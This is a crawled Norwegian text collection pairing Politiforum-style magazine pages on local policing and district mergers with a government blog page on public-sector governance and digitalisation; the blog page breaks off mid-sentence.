kommi\\!\u00bb Ikke har jeg store armmuskler, og ikke hadde jeg skytev\u00e5pen. Alt roet seg fordi de gjenkjente meg. Derfor ble det heller ingen innbringelse og ikke noe celleopphold. Oppdraget ble l\u00f8st p\u00e5 lavest mulig trinn p\u00e5 maktstigen. Jeg h\u00e5per sentrale politikere forst\u00e5r hva et godt fungerende lokalpoliti har \u00e5 si i praksis. M\u00c5 OPPLEVES SOM N\u00c6RPOLITI Ordf\u00f8rer Robert Svarva (Ap) i Levanger kommune, er klar p\u00e5 at han vil ha et synlig politi i kommunen. Han tror innbyggerne opplever Levanger kommune som trygg, nettopp fordi kommunen har et aktivt og synlig politi som en god og integrert del av kommunen. For det viktigste er at politiet oppleves som et n\u00e6rpoliti av innbyggerne. Jeg opplever det som um\u00e5telig verdifullt at vi kjenner politiet, og de kjenner oss. Vi er p\u00e5 hils med dem, m\u00f8ter dem i politir\u00e5d, og n\u00e5r det skjer ting, g\u00e5r det meste bedre fordi vi har hatt god kontakt i forkant, sier Svarva. Ordf\u00f8reren mener det for den jevne innbygger er av stor betydning \u00e5 ha n\u00e6rhet til et oppeg\u00e5ende n\u00e6rpoliti. Dersom politiet enten svekker denne tilstedev\u00e6relsen eller blir helt borte, s\u00e5 vil det gj\u00f8re noe med trygghetsf\u00f8lelsen. Politiet gj\u00f8r en mye bedre jobb ved \u00e5 v\u00e6re tilstede, enn bare \u00e5 komme p\u00e5 ut-\n\n\n\n17 N\u00e6rpolitirollen 17 rykning n\u00e5r det skjer noe. I den norske samfunnsstrukturen er det s\u00e6rlig viktig \u00e5 ha et n\u00e6rpoliti. Vi som jobber i offentlige funksjoner, ser nytten av \u00e5 ha kort og god kommunikasjonslinje til andre offentlige etater, som for eksempel politiet. B\u00e5de n\u00e5r det er alvor, og n\u00e5r det ikke er der. Jeg tror at betydningen av \u00e5 ha kjente, lokale politifolk tilstede, er underkommunisert, sier han. Jeg tror at betydningen av \u00e5 ha kjente, lokale politifolk tilstede, er underkommunisert. Hyppig asylkontakt I mange av landets kommuner er det knyttet politimessige utfordringer til asylmottaket. Men ikke i Levanger. Mye av \u00e5rsaken til det, tror jeg er at politiet i bygda jevnlig tar en tur innom asylmottaket, uten at det n\u00f8dvendigvis har skjedd noe galt. At beboerne er i kontakt med politiet, er jeg overbevist om at er bra for \u00e5 forebygge hendelser som krever politiinnsats. Lokalpolitiet er sv\u00e6rt viktig for \u00e5 lykkes med integrering, mener Svarva. Ordf\u00f8reren er opptatt av politiberedskapen. Terrorvirksomhet er heldigvis noe som vi tenker skjer utenfor trygge kommuner. Men slik som verden har blitt, er det viktig at vi har et lokalt politi som f\u00f8lger med. Selv her i Levanger er det folk politiet b\u00f8r f\u00f8lge ekstra godt med p\u00e5, sier Svarva. Vil ha samarbeid: Politiet gj\u00f8r en mye bedre jobb ved \u00e5 v\u00e6re tilstede, sier ordf\u00f8rer Robert Svarva i Levanger kommune. Han har fulgt n\u00f8ye med p\u00e5 sentralisering av politiressurser som har foreg\u00e5tt i mange kommuner, og er sv\u00e6rt skeptisk til utviklingen. Derfor hilser ordf\u00f8reren velkommen justisminister og partikollega Grete Faremos uttalte satsing p\u00e5 n\u00e6rpolitiet. Det er positivt, og jeg ser det som et tegn p\u00e5 at justisministeren lytter, og at organisasjonene har blitt h\u00f8rt.n\n\n\n\n18 18 N\u00e6rpolitirollen Politiet m\u00e5 v\u00e6re d Politimester Torbj\u00f8rn Aas er uenig med politidirekt\u00f8ren om framtidens distriktsstruktur. Tekst: Ole Martin Mortvedt Foto: Rino Engdal Aas leder Vestfinnmark politidistrikt, ett av landets mannskapsmessig sm\u00e5 politidistrikter som n\u00e5 vurderes sammensl\u00e5tt. For hans del, dreier det seg om en sammensl\u00e5ing mellom Vestfinnmark og \u00d8stfinnmark politidistrikt - som samlet omtrent er p\u00e5 st\u00f8rrelse med Danmark. Jeg ser at politidirekt\u00f8ren mener at politidistrikter med ansatte ikke er robuste nok, og derfor m\u00e5 legges ned. Det respekterer jeg, men jeg synes samtidig at bildet trenger \u00e5 fylles ut, sier politimesteren. At den korteste avstanden mellom to politienheter i Vestfinnmark er p\u00e5 140 kilometer, er noe som m\u00e5 tas med i betraktningen. Jeg f\u00e5r ikke helt tak i dette begrepet robust. Jeg skj\u00f8nner at det handler noe om effektivisering, oppgaveomfang og evne til \u00e5 l\u00f8se egne saker. Samtidig var det Oslo politidistrikt som i fjor ba alle politidistriktene om bistand til \u00e5 f\u00e5 unna dommeravh\u00f8rene de selv ikke hadde kapasitet til. Da var det blant annet \u00d8stfinnmark politidistrikt som bisto. Det m\u00e5 da bety at stor eller st\u00f8rst ikke n\u00f8dvendigvis betyr robust, mener Aas. UTfordring p\u00e5 beredskap Vestfinnmark politidistrikt leverer godt p\u00e5 straffesaksbehandling. Det kan dermed ikke v\u00e6re begrunnelsen for nedleggelse, mener han. Med Vestfinnmark som eksempel mener jeg de mindre politidistriktene klarer \u00e5 h\u00e5ndtere straffesakene godt, sier Aas. Dette st\u00f8ttes i Riksadvokatens inspeksjonsrapport fra desember 2012, som i brevet til politidistriktet skriver f\u00f8lgende: \u00abRiksadvokaten har merket seg de gode resultater etter flere sentrale parametere. Det er tilfredsstillende at statsadvokatene kan konkludere med at straffesaksutviklingen er stabil, bekjempelsen av grov narkotikakriminalitet har god intensitet, andelen oppklarte forbrytelser er h\u00f8y, saksbehandlingstiden tilfredsstillende og likeledes restansene. Dette skal politidistriktet ha ros for.\u00bb V\u00e5r utfordring ligger p\u00e5 beredskapsomr\u00e5det, det \u00e5 s\u00f8rge for et polititilbud som politiet og befolkningen kan v\u00e6re tilfreds med, sier Aas. Tenker samarbeid: I stedet for \u00e5 sl\u00e5 sammen sm\u00e5 politidistrikter, er det mer \u00e5 tjene p\u00e5 \u00e5 etablere gode samarbeidsordninger over politidistriktsgrensene, sier politimester Torbj\u00f8rn Aas i Vestfinnmark politidistrikt. I hans politidistrikt er det ikke politifolk p\u00e5 aktiv tjeneste p\u00e5 d\u00f8gnbasis. Skjer det noe, m\u00e5 politifolk deler av d\u00f8gnet vekkes hjemme, og starte utrykningen derfra. Det er ikke det vi i dag forbinder med god beredskap, sier politimesteren, som i sitt distrikt har ansvar for landets st\u00f8rste gassterminal p\u00e5 Melk\u00f8ya, en liten rotur ut fra havna i Hammerfest. Dette er utfordringer som ikke endres ved \u00e5 gj\u00f8re politidistriktene st\u00f8rre. Det er en kjensgjerning at geografi, klima og bosettingsm\u00f8nster ikke endres, selv om politiet omorganiseres. Politiet m\u00e5 v\u00e6re der folk bor. S\u00e6rorganer til debatt Aas er enig i at det trengs endringer i politidistriktstrukturen, men er skeptisk til det han betegner som \u00abunyanserte sjablongl\u00f8sninger\u00bb. Han ser likevel at han kan beskyldes for \u00e5 snakke for sin syke mor. Aas, som selv har jobbet b\u00e5de administrativt og operativt ved Oslo politidistrikt, innr\u00f8mmer at han har f\u00e5tt et annet syn p\u00e5 politiet i distriktene etter at han selv ble politimester i Vestfinnmark, og fikk se utfordringene p\u00e5 n\u00e6rt hold. N\u00e5r politistrukturen skal diskuteres, s\u00e5 m\u00e5 vi derfor ogs\u00e5 t\u00f8rre \u00e5 se p\u00e5 s\u00e6rorganene. Politiets ressursanalyse viser at s\u00e6rorganenes budsjetter har vokst med 62 prosent i perioden For distriktene er \u00f8kningen 29 prosent. S\u00e6rorganene har i perioden \u00f8kt bemanningen med nesten 100 politi\u00e5rsverk, mens distriktene er redusert med 46, sier politimesteren. Dette, mener han, er et paradoks. Distriktstrukturen skal endres fordi politidistriktene ikke er robuste. Samtidig har det v\u00e6rt prioritert b\u00e5de politisk og fra politiets side selv \u00e5 bygge opp s\u00e6rorganene p\u00e5 bekostning av distriktene. Politidistriktene har over tid blitt svekket, og det brukes n\u00e5 som argument for \u00e5 legge dem ned, p\u00e5peker Aas. Han registrerer at Utrykningspolitiet (UP) profilerer seg som en akt\u00f8r i den totale kriminalitetsbekjempelsen. UP-patruljene ligner n\u00e5 mer og mer p\u00e5 tradisjonelle politipatruljer, som skal kunne h\u00e5ndtere et bredt spekter av politioppgaver i stedet for \u00e5 drive med tradisjonelle trafikksaker. Det er flott at UP bidrar, og lykkes med sine nye oppgaver, og vi ser at UP fremst\u00e5r som effektivt drevet. Men samtidig er det slik at de overlater mye administrativt arbeid til politidistriktene, sier Aas.\n\n\n\n19 N\u00e6rpolitirollen 19 er folk bor Han mener polititjenesten for Finnmarks vedkommende ville blitt bedre ved \u00e5 styrke det ordin\u00e6re politiet gjennom \u00e5 overf\u00f8rt ressurser fra UP til distriktene. Vel vitende om at dette er som \u00e5 banne i kirka i UPvennlige milj\u00f8er. Denne diskusjonen blir ytterligere aktuell i det \u00f8yeblikk UPs patruljer ogs\u00e5 f\u00e5r framskutt lagring av v\u00e5pen. Det tar jeg som et signal p\u00e5 at UP i enda st\u00f8rre grad skal involvere seg i politidistriktenes daglige virke. SAMARBEID OVER GRENSENE Han viser politireformen som i n\u00e5 gjennomf\u00f8res i Finland. Der har b\u00e5de deres UP og Kripos blitt lagt ned, i tillegg til at Finlands Politidirektorat har blitt redusert i omfang. Samtidig overf\u00f8res ansvar, myndighet og ressurser fra disse enhetene til politidistriktene, sier Aas. Politidirekt\u00f8r Odd Reidar Humleg\u00e5rds kontrollspenn brukes ogs\u00e5 som begrunnelse for f\u00e6rre distrikter. Det har ikke Aas spesielt sans for. Politidirekt\u00f8ren har sagt at han ikke tror folk bryr seg om hvor politimesteren sitter. Det er jeg enig med han i. Men jeg tror innbyggerne bryr seg enda mindre om hvor mange medarbeidersamtaler politidirekt\u00f8ren har. Det er andre parametere som b\u00f8r ligge til grunn, sier Aas. Han viser til at hvis politidistriktene skal sl\u00e5s sammen, vil ogs\u00e5 politimestrene f\u00e5 st\u00f8rre kontrollspenn, men ser at det vil v\u00e6re ressurser \u00e5 spare p\u00e5 \u00e5 sl\u00e5 sammen administrasjonen i to politidistrikt. Samtidig ser vi med erfaring fra den tidligere politireformen, at det under slike omorganiseringer likevel dukker opp nye administrative ledd og funksjoner, sier Aas, som mener dette til sjuende og sist blir en kost-nyttevurdering. I stedet argumenterer han for at politidistriktene i Finnmark kan samarbeide om en felles operasjonssentral og jourtjeneste for politijuristene. Dette har \u00d8st- og Vestfinnmark politidistrikt tidligere tatt til orde for, uten \u00e5 f\u00e5 geh\u00f8r. Men utfra at prinsippet om nabohjelp n\u00e5 er formalisert i krise- og beredskapsarbeidet, s\u00e5 burde det fungere i ordin\u00e6r drift ogs\u00e5. Det argumenteres med at st\u00f8rre politidistrikter riktignok kan skape gode fagmilj\u00f8er, men hvis vi har en sedelighetsetterforsker i Kirkenes, og en i Alta i et samlet Finnmark politidistrikt, hvordan skal disse med 460 kilometers avstand f\u00e5 et bedre faglig milj\u00f8 enn i dag? Skal vi skape et fagmilj\u00f8, m\u00e5 avstandene gj\u00f8re dette realistisk. Politimesteren viser til Oslo-innsatsleder Thor Langlis ord i sist Politiforum om at det er den lokale operative styrken som bestandig m\u00e5 h\u00e5ndtere alle situasjoner i initialfasen. Da m\u00e5 vi i det minste ha kompetent politi p\u00e5 stedet. Innbyggerne m\u00e5 f\u00f8le seg trygge p\u00e5 at politiet kommer n\u00e5r det skjer noe, sier Aas, som argumenterer for at god beredskap finnes i et robust n\u00e6rpoliti. Men et politi blir ikke robust f\u00f8r det er forankret hos dem som bruker det. Det m\u00e5 vi aldri glemme. Vi er til for innbyggerne, ikke for oss selv. n Politidirekt\u00f8r Odd Reidar Humleg\u00e5rd kommenterer utspillet fra politimester Torbj\u00f8rn Aas slik i en e-post: \u00abSp\u00f8rsm\u00e5l om konsekvenser av eventuell sammensl\u00e5ing av politidistrikt og eventuelle andre strukturendringer i norsk politi, er nettopp noe av det som blir behandlet i den Politistudien som jeg selv deltar i. Det er for tidlig \u00e5 g\u00e5 inn p\u00e5 st\u00f8rre diskusjon n\u00e5 som eventuelt kan foregripe konklusjoner i denne studien, Faremo \u00f8nsker sterkere n\u00e6rpoliti Til Politiforum sier justisminister Grete Faremo at \u00f8nsket om et sterkere n\u00e6rpoliti er noe av det som ligger bak Justisdepartementets gjennomgang av strukturen i politidistriktene. Hun er ikke enig i at det \u00e5 sl\u00e5 sammen sm\u00e5 politidistrikter g\u00e5r p\u00e5 bekostning av \u00e5 styrke n\u00e6rpolitiet. Med effektiv bruk av teknologi og gode styringssystemer, kan vi forenkle administrasjonen og frigj\u00f8re politifolk til operative oppgaver. Jeg \u00f8nsker et styrket n\u00e6rpoliti og \u00f8kt tilgjengelighet for publikum. Da mener jeg vi gj\u00f8r noe riktig med politiorganiseringen, sier Faremo, og fortsetter: Et sterkt n\u00e6rpoliti er viktig for beredskap og god kriminalitetsforebygging. Vi trenger sterke operasjonssentraler som skal fungere som et nav for tjenesten ute i politidistriktene. Ansatte p\u00e5 operasjonssentralene m\u00e5 ha rett kompetanse. Vi vil legge til rette for \u00f8kt mulighet for oppl\u00e6ring, noe jeg ser de allerede har benyttet seg av i Hedmark politidistrikt. Justisministeren vil ikke g\u00e5 inn p\u00e5 temaet omfordeling av ressurser fra s\u00e6rorganene til politidistriktene. Ser man p\u00e5 kriminalitetsbildet, er det gode grunner til at man har holdt et sterkt fokus p\u00e5 s\u00e6rorganene. N\u00e5 er det naturlig \u00e5 avvente politianalysen f\u00f8r man gj\u00f8r st\u00f8rre satsing der. Sommeren 2013 vil et historisk stort antall p\u00e5 720 studenter avlegge avgangseksamen p\u00e5 Politih\u00f8gskolen. For kritikerne av satsingen ut mot politidistriktene, er det grunn til \u00e5 legge merke til at vi derfor har finansiert en nettotilf\u00f8rsel av 350 friske politistillinger. 70 er \u00f8remerket Oslo, men dette store kullet gir god mulighet for \u00f8kt bemanning ut i politidistriktene innev\u00e6rende \u00e5r. Du m\u00e5 ikke fortelle meg at ikke slikt er med p\u00e5 \u00e5 styrke n\u00e6rpolitiet og dermed bedre beredskapen, sier Faremo. Humleg\u00e5rd: Avventer politistudien men jeg ser frem til at denne studien blir lagt frem i begynnelsen av juni dette \u00e5ret. Det foreg\u00e5r her innhenting av fakta og et omfattende analysearbeid for \u00e5 f\u00e5 opp et kunnskapsgrunnlag som blir avgj\u00f8rende for hvilke valg som blir tatt i norsk politi for de neste ti til tyve \u00e5r. Jeg vil selvsagt komme tilbake til de sp\u00f8rsm\u00e5lene Torbj\u00f8rn Aas reiser n\u00e5r Politistudien foreligger.\u00bb\n\n\n\n20 20 \u00c5rsm\u00f8te Bekymret for bereds Politiets Fellesforbund (PF) Nordm\u00f8re og Romsdal satte lokal beredskap p\u00e5 plakaten i en paneldebatt under sitt \u00e5rsm\u00f8te. Tekst og foto: Erik Inderhaug Over 60 av lokallagets 178 medlemmer m\u00f8tte opp til \u00e5rsm\u00f8tet i Molde, for \u00e5 overv\u00e6re paneldebatten hvor blant annet justiskomiteens leder Per Sandberg (Frp) deltok. Ordstyrer og lokallagsleder Finn Tore Pettersen var godt forn\u00f8yd med gjennomf\u00f8ringen av debatten, som ble en diskusjon om n\u00e6rpoliti og beredskap. Jeg var usikker p\u00e5 hvilken retning debatten kom til \u00e5 ta, men den holdt seg p\u00e5 et godt, overordnet niv\u00e5, uten for mye detaljer. Det holdt seg p\u00e5 det niv\u00e5et som var interessant \u00e5 diskurere for panelet, sier lokallagslederen. I tillegg til Sandberg, deltok stortingspolitiker Tove Lise Torve (Ap), ordf\u00f8rer Ola Rognskog (Sp) i Halsa kommune, fungerende PF-leder Sigve Bolstad og politimester Arnstein Nilssen i Nordm\u00f8re og Romsdal politidistrikt. Standarden ble satt da ordf\u00f8rer Rognskog understreket sitt \u00f8nske om \u00e5 verne det operative politiet i n\u00e6rmilj\u00f8et. Jeg vil ha ivaretatt polititjenesten der folk bor, p\u00e5 en best mulig m\u00e5te. Mobile enheter er ikke forutsigbare p\u00e5 responstid. Jeg mener at l\u00f8sningen for \u00e5 styrke politiet, ikke er \u00e5 tappe distriktstjenesten for ressurser og \u00f8konomi, men \u00e5 styrke politiet som s\u00e5dan. Da f\u00e5r vi den effekten vi er ute etter. Et ressurssp\u00f8rsm\u00e5l Han fikk st\u00f8tte av politikerkollega Torve, som selv kommer fra Nordm\u00f8re. Jeg er bekymret for at den politiberedskapen vi har i v\u00e5rt fylke, ikke er god nok dersom det skulle skje en stor katastrofe eller hendelse, mente hun. I dag, avhengig av hvem som telles med, er det mellom 1,2 og 1,3 politi per 1000 innbyggere i Nordm\u00f8re og Romsdal politidistrikt. Politimester Arnstein Nilssen uttrykte stor forst\u00e5else for situasjonen i distriktet, men pekte p\u00e5 trange \u00f8konomiske rammer. Det er et sp\u00f8rsm\u00e5l om ressurser, om hvordan vi bruker penger p\u00e5 en fornuftig m\u00e5te. Politimesteren sitter hele tiden og tenker \u00abhvordan skal jeg klare \u00e5 komme i havn i \u00e5r?\u00bb, sa Nilssen, og kom med et eksempel: I l\u00f8pet av de 11 \u00e5rene jeg har v\u00e6rt politimester, har jeg klart det kunststykket \u00e5 selge to politib\u00e5ter. N\u00e5 har vi ingen. P\u00e5 Sm\u00f8la sitter det \u00e9n mann fra Statens naturoppsyn. Han har to b\u00e5ter, s\u00e5gar havg\u00e5ende. Slik er situasjonen. SETTER AGENDAEN Debatten la ogs\u00e5 opp til innspill fra PFmedlemmene i salen, noe flere benyttet seg av. Paneldeltakerne lyttet n\u00f8ye til lensmann Odd J\u00f8rgen Nilssen fra Sund lensmannskontor, som blant annet dekker \u00f8ya Aukra, Ola Rognskog Ordf\u00f8rer Halsa kommune (Sp) \u00abAt den lokale lensmannen m\u00f8ter en ungdom p\u00e5 tur inn i voksen alder, i sv\u00f8mmehallen og p\u00e5 fotballbanen, og er med p\u00e5 \u00e5 sette holdninger gjennom tilstedev\u00e6relse, det tror jeg er uvurderlig.\u00bb Tove-Lise Torve Stortingsrepresentant (Ap) \u00abFor n\u00e6rpolitiet er det kjennskapen til folk det handler om. Politiarbeid handler om \u00e5 forholde seg til folk. Da er det \u00e5 ha n\u00e6rhet, utrolig viktig.\u00bb Per Sandberg Leder justiskomiteen (Frp) \u00abUt ifra trusselvurderingene og kriminalitetsutviklingen, som g\u00e5r i et rasende tempo, s\u00e5 er politiet i dag dessverre d\u00e5rligere rustet til \u00e5 takle hverdagskriminaliteten og store kriser enn de var f\u00f8r 22. juli.\u00bb Sigve Bolstad Fungerende PF-leder \u00abJeg er veldig for det som g\u00e5r p\u00e5 kjennskap. Jeg er veldig for tilstedev\u00e6relse. Som politi m\u00e5 du v\u00e6re der for befolkningen.\u00bb Xx\n\n\n\n THE PRIDE av Alexi Kaye Campbell Scene for mann og kvinne Manus ligger p\u00e5 NSKI sine sider. 1958 I parken. Det er en benk. N\u00e5r lysene kommer p\u00e5 ser vi Oliver og Sylvia. De st\u00e5r. Det er h\u00f8st og ettermiddag.\n\n", "language": "no", "__index_level_0__": "35ae6f45-54a6-41f0-8b61-cd50ea8831f5"}
{"url": "https://nettsteder.regjeringen.no/bedrestyringogledelse/category/bedre-styring-og-ledelse/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:17:10Z", "text": "## Gevinstseminar med f\u00f8rjulsstemning 18. desember\n\nDato: 8. desember 2017 | Sist oppdatert: 2. januar 2018 |  av Sverre\n\nDirektoratet for forvaltning og IKT (Difi) inviterer til sitt tradisjonsrike gevinstseminar n\u00e5r det n\u00e6rmer seg jul, og gleder seg til \u00e5 samle ledere i departementene og alle som \u00f8nsker at vi skal lykkes med \u00e5 ta ut gevinster i offentlig sektor til et uformelt gevinstseminar i regjeringskvartalet.\n\nDet blir god f\u00f8rjulsstemning, gl\u00f8gg og pepperkaker, interessante innledere og deling av erfaringer fra virksomheter og prosjekter det er verdt \u00e5 lytte til. Og s\u00e5 kommer nissen\\!\n\n\n## Sluttrapporten fra OECDs Digital Government Review of Norway er publisert\n\nDato: 7. september 2017 | Sist oppdatert: 7. september 2017 |  av Hanne-Cecilie Bj\u00f8rka\n\n**I ett \u00e5r har OECD g\u00e5tt systematisk igjennom status for arbeidet med digitalisering i offentlig sektor i Norge. Gjennomgangen gir ny innsikt i norske forhold sammenlignet med god praksis fra andre land som er gode p\u00e5 digitale l\u00f8sninger. OECD har utarbeidet sluttrapport med funn og anbefalinger. Sluttrapporten ble presentert p\u00e5 fagseminar i Oslo 1. september.**\n\nOECD understreker i sluttrapporten at Norge er et av de landene i Europa og OECD som har kommet lengst i digitaliseringsprosessen. Norge f\u00e5r ros for sin mange\u00e5rige innsats p\u00e5 digitaliseringsomr\u00e5det, og stortingsmeldingen om Digital agenda blir l\u00f8ftet frem som et viktig dokument.\n\nFor \u00e5 beholde den ledende posisjonen er Norge n\u00f8dt til \u00e5 jobbe kontinuerlig med videreutvikling av politikken, samt forbedring av strukturene og tjenestene. OECD mener Norge ikke m\u00e5 se seg tilfreds med dagens situasjon, men se hen til muligheter for stadige forbedringer av den digitale forvaltningen. OECD mener at Norge b\u00f8r vurdere \u00e5 utvikle en egen strategi for digitaliseringen av offentlig sektor som kan bidra til \u00e5 styrke samordning, samhandling og rapportering. I tillegg understreker OECD behovet for tydelige roller blant akt\u00f8rene med styringsansvar p\u00e5 digitaliseringsomr\u00e5det.\n\nOECD har oppsummert funnene i en video:\n\n\u00a0\nNoen f\u00e5 av OECDs anbefalinger:\n\n  - Det b\u00f8r utvikles en mer ambisi\u00f8s, omfattende og koordinert strategi for \u00e5pne, offentlige data i Norge som kan fungere som et veikart for utviklingen av en data-drevet offentlig sektor.\n  - Samordningen p\u00e5 tvers av statlige sektorer m\u00e5 styrkes, og mellom staten og kommunene. Dette inneb\u00e6rer bl.a. koordinert videreutvikling og implementering av felleskomponentene, utvikling av en felles IT-anskaffelsesstrategi og innf\u00f8ring av felles retningslinjer for utvikling av digitale tjenester. OECD skriver ogs\u00e5 at Norge b\u00f8r vurdere \u00e5 etablere en \u00abnational Government Chief Information Officer (GCIO)\u00bb.\n  - Brukerperspektivene fanges ofte i Norge gjennom unders\u00f8kelser, men ikke gjennom involvering i hvordan tjenestene lages og leveres. Brukerne b\u00f8r v\u00e6re p\u00e5drivere for hvordan offentlig sektor lager og leverer tjenester, og virksomhetene m\u00e5 involvere brukerne p\u00e5 en mer systematisk m\u00e5te.\n\n## Innovasjon Norge vil ha topplederdialog om radikal omstilling\n\nDato: 27. februar 2017 |  av Hanne-Cecilie Bj\u00f8rka\n\n**Program for bedre styring og ledelse i staten jobber for \u00e5 gi ledere i staten st\u00f8rre handlingsrom, tydeligere m\u00e5l og styrke deres kompetanse til \u00e5 h\u00e5ndtere det kontinuerlige endrings- og forbedringsarbeidet som er n\u00f8dvendig for at offentlig sektor skal v\u00e6re velfungerende i \u00e5rene som kommer. Vi \u00f8nsker derfor Anita Krohn Traaseths og Mona Skarets invitasjon til topplederdialog om omstilling i offentlig sektor hjertelig velkommen.**\n\nMye har v\u00e6rt sagt i det siste om omstilling i offentlig sektor. Statsminister Erna Solberg har uttrykt at vi m\u00e5 g\u00e5 fra s\u00e6rstilling til omstilling, og kommunal- og moderniseringsminister Jan Tore Sanner har gjentatte ganger understreket at vi m\u00e5 f\u00e5 mer velferd og flere offentlige tjenester ut av de pengene som brukes. Mye er bra i norsk forvaltning, men vi har en vei \u00e5 g\u00e5 hvis vi skal opprettholde velferdssamfunnet i en tid med stadig h\u00f8yere endringstakt og \u00f8kt press p\u00e5 offentlige finanser.\n\n\n\n*Anita Krohn Traaseth og Mona Skaret, Foto: Agnete Brun*\n\nI kraft av sin erfaring, kompetanse og engasjement er statlige ledere n\u00f8kkelpersoner n\u00e5r det skal omstilles og forbedres. Som Program for bedre styring og ledelse i staten har skrevet om tidligere krever endring utholdenhet, ledelse og mot. \u00c5 v\u00e6re leder i det offentlige handler ikke lenger f\u00f8rst og fremst om \u00e5 forvalte offentlige ressurser under stabile rammebetingelser, men om \u00e5 forst\u00e5 hvordan den enkelte virksomhet m\u00e5 endres for \u00e5 levere mer for mindre. Selv om politikerne er ansvarlige for rammebetingelsene er det, som Traaseth og Skaret p\u00e5peker i sitt debattinnlegg i Aftenposten, lederne i departementer, direktorater og virksomheter som m\u00e5 gj\u00f8re jobben med \u00e5 fornye, forbedre og forenkle offentlig sektor.\u00a0Traaseth og Skaret mener at hovedoppgaven til dagens offentlige ledere er \u00e5 gjennomf\u00f8re n\u00f8dvendig radikal omstilling. De mener at det ikke lenger holder \u00e5 gjennomf\u00f8re inkrementelle endringer \u2013 det er p\u00e5 tide med mer dristig omstilling.\u00a0 Da trenger vi omgivelser som t\u00e5ler og flere ledere som t\u00f8r \u00e5 gj\u00f8re feil, ta konfliktene og diskutere b\u00e5de behagelige og ubehagelige gevinster av omstilling og digitalisering. Og vi tenger et godt samarbeid mellom ledelse og tillitsmannsapparat.\n\nFor \u00e5 sette omstillingsbehovet h\u00f8yere p\u00e5 dagsorden og dr\u00f8fte hvordan radikal omstilling og store driftsoppgaver kan balanseres inviterer Traaseth og Skaret til en operativ topplederdialog med utgangspunkt i tre temaer:\n\n1.  Hvordan skape en st\u00f8rre aksept for at vi g\u00e5r inn i en periode hvor **ogs\u00e5 offentlige etater og selskaper m\u00e5 regne med omfattende endringer** av roller, prosesser, omskolering og oppsigelser?\n2.  Hvordan kan vi **endre dagens oppdragsbrev** slik at vi ikke prim\u00e6rt bel\u00f8nnes for \u00e5 forvalte dagens samfunnsoppdrag, men ogs\u00e5 f\u00e5r n\u00f8dvendig handlingsrom til \u00e5 omstille offentlig sektor og legge om tjenestetilbudet radikalt?\n3.  Kan vi hjelpe hverandre med \u00e5 **gj\u00f8re overordnede analyser og framskrivinger** konkrete, slik at det er lettere for ledere, kolleger og omverden \u00e5 innse hvilke utfordringer vi vil st\u00e5 i om 5-10 \u00e5r?\n\nProgram for bedre styring og ledelse i staten mener disse sp\u00f8rsm\u00e5lene peker p\u00e5 sentrale utfordringer, og har allerede v\u00e6rt i dialog med Traaseth og Skaret om hvordan Programmet kan st\u00f8tte opp om dette viktige initiativet. Vi h\u00e5per ogs\u00e5 at ledere i staten vil engasjere seg i dialogen \u2013 b\u00e5de med Innovasjon Norge men ogs\u00e5 internt i egen virksomhet og egne ledergrupper.\n\n## Forvaltningskonferansen 23. november 2016\n\nDato: 17. oktober 2016 |  av Hanne-Cecilie Bj\u00f8rka\n\n**Programmet for forvaltningskonferansen er klart. Tema for \u00e5rets konferanse er effektivisering og omstilling av statlige virksomheter. Mange spennende ledere har sagt ja til \u00e5 dele sine erfaringer. Her blir det mye \u00e5 l\u00e6re og ikke minst bli inspirert av. Difi lanserer ogs\u00e5 en rykende fersk rapport p\u00e5 konferansen som omhandler tematikken.**\n\n## Egeninitiert omstillingsprosess med gevinster for \u00f8ye\n\nDato: 23. september 2016 |  av Hanne-Cecilie Bj\u00f8rka\n\n***Program for bedre styring og ledelse i staten har toppledere i statlige virksomheter som sin viktigste m\u00e5lgruppe. Det er topplederne som sitter med n\u00f8kkelen til \u00e5 f\u00e5 til n\u00f8dvendige endringer i statlig sektor. Derfor setter vi stor pris p\u00e5 at \u00d8ystein B\u00f8rmer, direkt\u00f8r i Direktoratet for \u00f8konomistyring (DF\u00d8) har tatt seg tid til \u00e5 fortelle oss om omstillingsprosessen han har ledet.\u00a0***\n\n\u00a0  \n**Hva er bakgrunnen for omstillingsprosessen DF\u00d8 har v\u00e6rt igjennom?**  \nDF\u00d8 er statens ekspertorgan for statlig styring. Vi har et bredt tjenestespekter, som grovt sett kan deles i to: vi forvalter \u00f8konomiregelverket i staten, og tilbyr kompetanseheving og veiledning knyttet til dette, pluss at vi utf\u00f8rer \u00f8konomitjenester for statlige virksomheter. Det er det siste omr\u00e5det jeg skal snakke om.\n\nTidligere var lokal tilstedev\u00e6relse viktig, og derfor har DF\u00d8 alltid hatt mange tjenestesteder. Den teknologiske utviklingen har imidlertid de senere \u00e5rene hatt en enorm effekt for l\u00f8nns- og regnskapstjenester. Datafangst har for eksempel blitt dramatisk effektivisert, blant annet gjennom selvbetjeningsl\u00f8sninger. For \u00e5 henge med i utviklingen er vi avhengig av en mer robust organisering med st\u00f8rre fagmilj\u00f8er. I praksis innebar dette \u00e5 redusere antall kontorer. Det er ikke nytt for oss: i 2004 reduserte vi fra 18 til syv kontorer, og n\u00e5 til tre. Vi er en virksomhet som i mange \u00e5r har v\u00e6rt utsatt for kraftig endring som f\u00f8lge av teknologisk utvikling. Vi pr\u00f8ver \u00e5 h\u00e5ndtere det meste av endringsbehovet uten \u00e5 igangsette store omstillingsprosesser, men noen ganger m\u00e5 man bygge om grunnmuren. Det er det vi har gjort n\u00e5.\n\n\n\n\u00a0\n**Hva kjennetegner prosessen dere har v\u00e6rt gjennom?**  \nDet som skiller v\u00e5r omstilling fra mange andre er at den er egeninitiert. Vi identifiserte behovet selv, utredet selv, kom med anbefalingen selv og ba selv om oppdraget fra Finansdepartementet. Dette har helt klart v\u00e6rt en viktig suksessfaktor. Det gir stor styrke \u00e5 gjennomf\u00f8re en endringsprosess du selv har stor tro p\u00e5 og f\u00f8ler grunnleggende eierskap til. Hvis man er fremoverlent har man mer styring p\u00e5 egne endringsprosesser.\n\nDa jeg ble ansatt som direkt\u00f8r hadde jeg lang fartstid fra organisasjonen, og jeg hadde en klar oppfatning av behovet for endring. Jeg hadde lyst til \u00e5 v\u00e6re den direkt\u00f8ren som ogs\u00e5 var med \u00e5 h\u00f8ste gevinstene av omstillingen, ikke bare den som igangsatte den. Og med \u00e5rem\u00e5lsstilling m\u00e5 man jo v\u00e6re litt rask p\u00e5 labben \u2013 s\u00e5nn at ikke det er etterf\u00f8lgeren som f\u00e5r hele \u00e6ren\\!\n\nDa vi utredet hadde vi en god og grundig prosess, som inkluderte de tillitsvalgte og der vi var opptatt av \u00e5 